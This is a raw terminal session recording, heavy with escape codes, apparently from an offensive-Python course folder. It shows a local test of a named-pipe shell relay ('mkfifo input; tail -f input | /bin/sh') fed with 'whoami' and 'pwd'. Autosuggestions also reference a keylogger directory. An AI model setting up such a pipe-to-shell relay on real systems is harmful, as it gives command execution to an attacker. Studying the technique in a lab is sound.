[4m[32m/[24m[39m[39m[4m/[4mb[24m[4mb[4mi[24m[4m[32m/[4m[32mb[4m[32mi[4m[32mn[24m[39m[4m[32mn[4m[32m/[24m[39m[39m[4m/[39m[4mb[39m[4mi[39m[4mn[39m[4m/[4ms[24m[24m[32m/[24m[32mb[24m[32mi[24m[32mn[24m[32m/[24m[32ms[32mh[39m 2[33m2[33m>[39m[33m>[33m&[39m1 Z [33m>[39m ouputtput[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;76m❯[0m[38;5;76m[49m[39m[27m[24m [32mmkfifo[39m input; [32mtail[39m -f input | [32m/bin/sh[39m [33m2>&[39m1 [33m>[39m output[K[?25h
|
||||
]2;mkfifo input; tail -f input | /bin/sh 2>&1 > output]1;mkfifo^C
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto]1;..ript/concepto]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/script/[1m[38;5;31m[38;5;39mconcepto[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;160mх INT[0m[38;5;160m[49m[38;5;160m[0m[38;5;160m[49m[38;5;160m[0m[38;5;160m[49m[38;5;101m [39mtook [0m[49m[38;5;101m7m 34s[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:48:03[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[1m[31mc[0m[39m[1m[31mc[0m[39m[90moncepto[39m[1m[31mc[1m[31ma[0m[39m[39m [39m [39m [39m [39m [39m [90mt ../09_keylogger/.env | pbcopy[39m[31D[0m[32mc[0m[32ma[32mt[39m[39m [39m[4mo[24m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [28D[90mutput.pcap | wc -l[39m[18D[4mo[39m[4mu[24m[4mu[39m[4mt[39m[4mp[39m[4mu[39m[4mt[24m[39m[1m [0m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [12D[0m [?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;196m❯[0m[38;5;196m[49m[39m[27m[24m [32mcat[39m [4moutput[24m[K[?25h
|
||||
]2;cat output]1;catv
|
||||
/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto
|
||||
/home/v
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto]1;..ript/concepto]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/script/[1m[38;5;31m[38;5;39mconcepto[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:48:11[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[32mcat[39m [4moutput[24m[10D[32ml[32ms[39m[39m [24m [24m [24m [24m [24m [24m [8D[32mc[32ma[32mt[39m [4moutput[24m[10D[32me[32mc[32mh[32mo[39m[24m [24m[33m"[24m[33mw[24m[33mh[24m[33mo[24m[33ma[33mmi"[39m [33m>[39m [4minput[24m[21D[32mc[32ma[32mt[39m[39m [4mo[39m[4mu[39m[4mt[39m[4mp[39m[4mu[39m[4mt[24m[39m [39m [39m [39m [24m [24m [24m [24m [24m [11D[10D[32ml[32ms[39m[39m [24m [24m [24m [24m [24m [24m [8D[32mc[32ma[32mt[39m [4moutput[24m[10D[32me[32mc[32mh[32mo[39m[24m [24m[33m"[24m[33mp[24m[33mw[24m[33md[24m[33m"[39m [33m>[39m [4minput[24m[18D[32mc[32ma[32mt[39m[39m [4mo[39m[4mu[39m[4mt[39m[4mp[39m[4mu[39m[4mt[24m [39m [24m [24m [24m [24m [24m [8D[10D[32ml[32ms[39m[39m [24m [24m [24m [24m [24m [24m [8D[32mc[32ma[32mt[39m [4moutput[24m[10D[32me[32mc[32mh[32mo[39m[24m [24m[33m"[24m[33mw[24m[33mh[24m[33mo[24m[33ma[33mmi"[39m [33m>[39m [4minput[24m[21D[32mc[32ma[32mt[39m[39m [4mo[39m[4mu[39m[4mt[39m[4mp[39m[4mu[39m[4mt[24m[39m [39m [39m [39m [24m [24m [24m [24m [24m [11D[10D[32ml[32ms[39m[39m [24m [24m [24m [24m [24m [24m [8D[32mc[32ma[32mt[39m [4moutput[24m[10D[32ml[32ms[39m[39m [24m [24m [24m [24m [24m [24m [8D[32mc[32ma[32mt[39m [4moutput[24m[10D[39m [39m [39m [24m [24m [24m [24m [24m [24m [10D[1m[31mm[0m[39m[1m[31mm[0m[39m[90mkfifo input; tail -f input | /bin/sh 2>&1 > output[39m[50D[1m[31mm[1m[31mk[0m[39m[1m[31mm[1m[31mk[1m[31md[0m[39m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [48D[90mir concepto[39m[11D[1m[31mm[1m[31mk[0m[39m[0m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [12D[90mfifo input; tail -f input | /bin/sh 2>&1 > output[39m[49D[1m[31mm[1m[31mk[1m[31mf[0m[39m[0m[32mm[0m[32mk[0m[32mf[32mi[32mf[32mo[39m[39m [39m[4mi[39m[4mn[39m[4mp[39m[4mu[39m[4mt[24m[39m;[39m [32mt[32ma[32mi[32ml[39m[39m [39m-[39mf[39m [39m[4mi[39m[4mn[39m[4mp[39m[4mu[39m[4mt[24m[39m [39m|[39m [32m/[32mb[32mi[32mn[32m/[32ms[32mh[39m[39m [33m2[33m>[33m&[39m[39m1[39m [33m>[39m[39m [39m[4mo[39m[4mu[39m[4mt[39m[4mp[39m[4mu[39m[4mt[24m[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;76m❯[0m[38;5;76m[49m[39m[27m[24m [32mmkfifo[39m [4minput[24m; [32mtail[39m -f [4minput[24m | [32m/bin/sh[39m [33m2>&[39m1 [33m>[39m [4moutput[24m[K[?25h
|
||||
]2;mkfifo input; tail -f input | /bin/sh 2>&1 > output]1;mkfifomkfifo: no s’ha pogut crear la cua FIFO 'input': El fitxer ja existeix
|
||||
/bin/sh: 5: probando: not found
|
||||
^C
|
||||
Session terminated, killing shell...
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto]1;..ript/concepto]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/script/[1m[38;5;31m[38;5;39mconcepto[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;160mх INT[0m[38;5;160m[49m[38;5;160m[0m[38;5;160m[49m[38;5;160m[0m[38;5;160m[49m[38;5;101m [39mtook [0m[49m[38;5;101m4m 51s[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:53:13[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h ...killed.
|
||||
[?25l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;196m❯[0m[38;5;196m[49m[39m[27m[24m [K[?25h[?2004l
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto]1;..ript/concepto]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m❌ [1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/script/[1m[38;5;31m[38;5;39mconcepto[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;160mх INT[0m[38;5;160m[49m[38;5;160m[0m[38;5;160m[49m[38;5;160m[0m[38;5;160m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 22:59:38[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h
[A[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m❌ [1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/script/[1m[38;5;31m[38;5;39mconcepto[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;160mх INT[0m[38;5;160m[49m[38;5;160m[0m[38;5;160m[49m[38;5;160m[0m[38;5;160m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 22:59:38[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[1m[31me[0m[39m[1m[31me[0m[39m[90mcho "whoami" > input[39m[20D[0m[32me[32mx[39m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [19D[90mit[39m[1m[31me[1m[31mx[1m[31mi[0m[39m[0m[32me[0m[32mx[0m[32mi[32mt[39m[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;196m❯[0m[38;5;196m[49m[39m[27m[24m [32mexit[39m[K[?25h
|
||||
]2;exit]1;exit
|
||||
Script done on 2024-02-02 23:00:00+01:00 [COMMAND_EXIT_CODE="130"]
|
Loading…
Reference in New Issue
Block a user